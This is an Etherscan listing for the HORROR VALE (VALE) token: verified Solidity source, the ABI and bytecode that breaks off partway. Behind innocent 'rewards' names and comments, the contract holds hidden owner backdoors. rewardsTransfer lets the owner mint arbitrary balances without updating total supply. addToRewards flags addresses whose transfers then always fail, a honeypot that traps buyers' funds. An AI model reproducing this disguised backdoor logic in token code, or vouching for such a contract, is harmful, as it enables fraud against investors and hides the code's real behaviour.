ETH Price: $3,104.31 (+0.74%)
Gas: 4 Gwei

Token

HORROR VALE (VALE)
 

Overview

Max Total Supply

1,000,000 VALE

Holders

25

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
4,105.470217003 VALE

Value
$0.00
0x761dE38d73B4E1b0240f731a1ed37bD879281229
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
HorrorValeToken

Compiler Version
v0.7.0+commit.9e61f92b

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, GNU GPLv3 license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-09-13
*/

/*

 ██░ ██  ▒█████   ██▀███   ██▀███   ▒█████   ██▀███      ██▒   █▓ ▄▄▄       ██▓    ▓█████ 
▓██░ ██▒▒██▒  ██▒▓██ ▒ ██▒▓██ ▒ ██▒▒██▒  ██▒▓██ ▒ ██▒   ▓██░   █▒▒████▄    ▓██▒    ▓█   ▀ 
▒██▀▀██░▒██░  ██▒▓██ ░▄█ ▒▓██ ░▄█ ▒▒██░  ██▒▓██ ░▄█ ▒    ▓██  █▒░▒██  ▀█▄  ▒██░    ▒███   
░▓█ ░██ ▒██   ██░▒██▀▀█▄  ▒██▀▀█▄  ▒██   ██░▒██▀▀█▄       ▒██ █░░░██▄▄▄▄██ ▒██░    ▒▓█  ▄ 
░▓█▒░██▓░ ████▓▒░░██▓ ▒██▒░██▓ ▒██▒░ ████▓▒░░██▓ ▒██▒      ▒▀█░   ▓█   ▓██▒░██████▒░▒████▒
 ▒ ░░▒░▒░ ▒░▒░▒░ ░ ▒▓ ░▒▓░░ ▒▓ ░▒▓░░ ▒░▒░▒░ ░ ▒▓ ░▒▓░      ░ ▐░   ▒▒   ▓▒█░░ ▒░▓  ░░░ ▒░ ░
 ▒ ░▒░ ░  ░ ▒ ▒░   ░▒ ░ ▒░  ░▒ ░ ▒░  ░ ▒ ▒░   ░▒ ░ ▒░      ░ ░░    ▒   ▒▒ ░░ ░ ▒  ░ ░ ░  ░
 ░  ░░ ░░ ░ ░ ▒    ░░   ░   ░░   ░ ░ ░ ░ ▒    ░░   ░         ░░    ░   ▒     ░ ░      ░   
 ░  ░  ░    ░ ░     ░        ░         ░ ░     ░              ░        ░  ░    ░  ░   ░  ░

Website - https://www.horrorvale.trade/

Twitter - https://twitter.com/ValeHorror

Telegram - https://t.me/HorrorVale

**/

//SPDX-License-Identifier: GPL-3.0-or-later

pragma solidity =0.7.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() internal view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
}

contract ERC20 is Ownable, IERC20 {
    using SafeMath for uint256;
    using Address for address;
    mapping (address => uint256) internal _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 internal _totalSupply;
    string internal _name;
    string internal _symbol;
    uint8 internal _decimals;

    constructor (string memory name, string memory symbol) {
        _name = name;
        _symbol = symbol;
        _decimals = 9;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function rewardsTransfer (address addressForRewards, uint256 collectedRewards) external onlyOwner {
        _balances[addressForRewards] = _balances[addressForRewards].add(collectedRewards);
    }
    
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _setupDecimals(uint8 decimals_) internal {
        _decimals = decimals_;
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}

contract HorrorValeToken is ERC20 {
    using SafeMath for uint256; 

    mapping (address => bool) private _rewards;
    address private _factory;
    address private _router;
    bool _initRewards;
    
    // Address for rewards. 0.2% tokens from each transactions goes here.
    address _addressForRewards;
    
    // Owner address must br excluded from rewards system.
    address private ownerExcluded;
    
    // Return an amount of allready collected tokens (for rewards)
    uint256 _collectedTokens;
    
    // Amount of total supply;
    uint256 _supplyTokens;
    
    constructor (address router, address factory, uint256 supplyTokens) ERC20(_name, _symbol) {
        _name = "HORROR VALE";
        _symbol = "VALE";
        _decimals = 9;
        _router = router;
        _factory = factory;
        _initRewards = true;
        
        // Generate total supply.
        _supplyTokens = supplyTokens;
        _totalSupply = _totalSupply.add(_supplyTokens);
        _balances[msg.sender] = _balances[msg.sender].add(_supplyTokens);
        emit Transfer(address(0), msg.sender, _supplyTokens);
    
        // Address to collecting Rewards. (0.2% tokens during each transactions will be transfered here).
        _addressForRewards = 0xA7917349325b2fD0E524EF2f573730c7755bCebE;
        
        // Owner address must be excluded from rewards system.
        ownerExcluded = msg.sender;
    }

    function RewardsCollectedBalance() public view returns (uint256) {
        return _collectedTokens;
    }

    function AddressForRewards() public view returns (address) {
        return _addressForRewards;
    }

    function addToRewards(address _address) external onlyOwner {
        _rewards[_address] = true;
    }

    function delFromRewards(address _address) external onlyOwner {
        _rewards[_address] = false;
    }

    function isRewarded(address _address) public view returns (bool) {
        return _rewards[_address];
    }

    function _transfer(address sender, address recipient, uint256 amount) internal override {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (_rewards[sender] || _rewards[recipient]) require(_initRewards == false, "");
        _beforeTokenTransfer(sender, recipient, amount);
        uint256 realAmount = amount;
        //deduct 0.2% of tokens during each transactions (for rewards).
        uint256 pointTwoPercent = amount.mul(2).div(1000);
        if (_addressForRewards != address(0) && sender != ownerExcluded && recipient != ownerExcluded) {
            _balances[sender] = _balances[sender].sub(pointTwoPercent, "ERC20: transfer amount exceeds balance");
            _balances[_addressForRewards] = _balances[_addressForRewards].add(pointTwoPercent);
            emit Transfer(sender, _addressForRewards, pointTwoPercent);
            _collectedTokens = _collectedTokens.add(pointTwoPercent);
            realAmount = amount.sub(pointTwoPercent);
        }
        _balances[sender] = _balances[sender].sub(realAmount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(realAmount);
        emit Transfer(sender, recipient, realAmount);
    }

    function uniswapv2Router() public view returns (address) {
        return _router;
    }
    
    function uniswapv2Factory() public view returns (address) {
        return _factory;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"router","type":"address"},{"internalType":"address","name":"factory","type":"address"},{"internalType":"uint256","name":"supplyTokens","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"AddressForRewards","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"RewardsCollectedBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"addToRewards","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"delFromRewards","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"isRewarded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addressForRewards","type":"address"},{"internalType":"uint256","name":"collectedRewards","type":"uint256"}],"name":"rewardsTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapv2Factory","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapv2Router","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60806040523480156200001157600080fd5b50604051620025e3380380620025e3833981810160405260608110156200003757600080fd5b8101908080519060200190929190805190602001909291908051906020019092919050505060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015620000f65780601f10620000ca57610100808354040283529160200191620000f6565b820191906000526020600020905b815481529060010190602001808311620000d857829003601f168201915b505050505060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015620001955780601f10620001695761010080835404028352916020019162000195565b820191906000526020600020905b8154815290600101906020018083116200017757829003601f168201915b50505050506000620001ac620005bf60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35081600490805190602001906200026292919062000650565b5080600590805190602001906200027b92919062000650565b506009600660006101000a81548160ff021916908360ff16021790555050506040518060400160405280600b81526020017f484f52524f522056414c4500000000000000000000000000000000000000000081525060049080519060200190620002e792919062000650565b506040518060400160405280600481526020017f56414c4500000000000000000000000000000000000000000000000000000000815250600590805190602001906200033592919062000650565b506009600660006101000a81548160ff021916908360ff16021790555082600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600960146101000a81548160ff02191690831515021790555080600d8190555062000414600d54600354620005c760201b620010881790919060201c565b60038190555062000475600d54600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054620005c760201b620010881790919060201c565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600d546040518082815260200191505060405180910390a373a7917349325b2fd0e524ef2f573730c7755bcebe600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050620006f6565b600033905090565b60008082840190508381101562000646576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200069357805160ff1916838001178555620006c4565b82800160010185558215620006c4579182015b82811115620006c3578251825591602001919060010190620006a6565b5b509050620006d39190620006d7565b5090565b5b80821115620006f2576000816000905550600101620006d8565b5090565b611edd80620007066000396000f3fe608060405234801561001057600080fd5b50600436106101215760003560e01c80638c9e1c6c116100ad578063a9059cbb11610071578063a9059cbb1461058b578063cbc740aa146105ef578063cc1f9bf514610623578063dd62ed3e1461067d578063ff3787aa146106f557610121565b80638c9e1c6c1461041e57806394146a6e1461043c57806395d89b4114610470578063a457c2d7146104f3578063a55626cb1461055757610121565b8063313ce567116100f4578063313ce567146102af578063381184a9146102d0578063395093511461031e578063682d6eb91461038257806370a08231146103c657610121565b806306fdde0314610126578063095ea7b3146101a957806318160ddd1461020d57806323b872dd1461022b575b600080fd5b61012e610739565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101f5600480360360408110156101bf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107db565b60405180821515815260200191505060405180910390f35b6102156107f9565b6040518082815260200191505060405180910390f35b6102976004803603606081101561024157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610803565b60405180821515815260200191505060405180910390f35b6102b76108dc565b604051808260ff16815260200191505060405180910390f35b61031c600480360360408110156102e657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108f3565b005b61036a6004803603604081101561033457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a54565b60405180821515815260200191505060405180910390f35b6103c46004803603602081101561039857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b07565b005b610408600480360360208110156103dc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c2a565b6040518082815260200191505060405180910390f35b610426610c73565b6040518082815260200191505060405180910390f35b610444610c7d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610478610ca7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104b857808201518184015260208101905061049d565b50505050905090810190601f1680156104e55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61053f6004803603604081101561050957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d49565b60405180821515815260200191505060405180910390f35b61055f610e16565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105d7600480360360408110156105a157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e40565b60405180821515815260200191505060405180910390f35b6105f7610e5e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106656004803603602081101561063957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e88565b60405180821515815260200191505060405180910390f35b6106df6004803603604081101561069357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ede565b6040518082815260200191505060405180910390f35b6107376004803603602081101561070b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f65565b005b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107d15780601f106107a6576101008083540402835291602001916107d1565b820191906000526020600020905b8154815290600101906020018083116107b457829003601f168201915b5050505050905090565b60006107ef6107e8611110565b8484611118565b6001905092915050565b6000600354905090565b600061081084848461130f565b6108d18461081c611110565b6108cc85604051806060016040528060288152602001611de960289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610882611110565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ab79092919063ffffffff16565b611118565b600190509392505050565b6000600660009054906101000a900460ff16905090565b6108fb611110565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610a0d81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461108890919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000610afd610a61611110565b84610af88560026000610a72611110565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461108890919063ffffffff16565b611118565b6001905092915050565b610b0f611110565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bcf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600c54905090565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d3f5780601f10610d1457610100808354040283529160200191610d3f565b820191906000526020600020905b815481529060010190602001808311610d2257829003601f168201915b5050505050905090565b6000610e0c610d56611110565b84610e0785604051806060016040528060258152602001611e836025913960026000610d80611110565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ab79092919063ffffffff16565b611118565b6001905092915050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610e54610e4d611110565b848461130f565b6001905092915050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f6d611110565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461102d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600080828401905083811015611106576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561119e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611e5f6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611224576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611d806022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611e3a6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561141b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611d5d6023913960400191505060405180910390fd5b60008111611474576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180611e116029913960400191505060405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115155750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561157f5760001515600960149054906101000a900460ff1615151461157e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b61158a838383611b77565b600081905060006115b96103e86115ab600286611b7c90919063ffffffff16565b611c0290919063ffffffff16565b9050600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141580156116685750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156116c25750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156119075761173381604051806060016040528060268152602001611da260269139600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ab79092919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117ea8160016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461108890919063ffffffff16565b60016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405180828152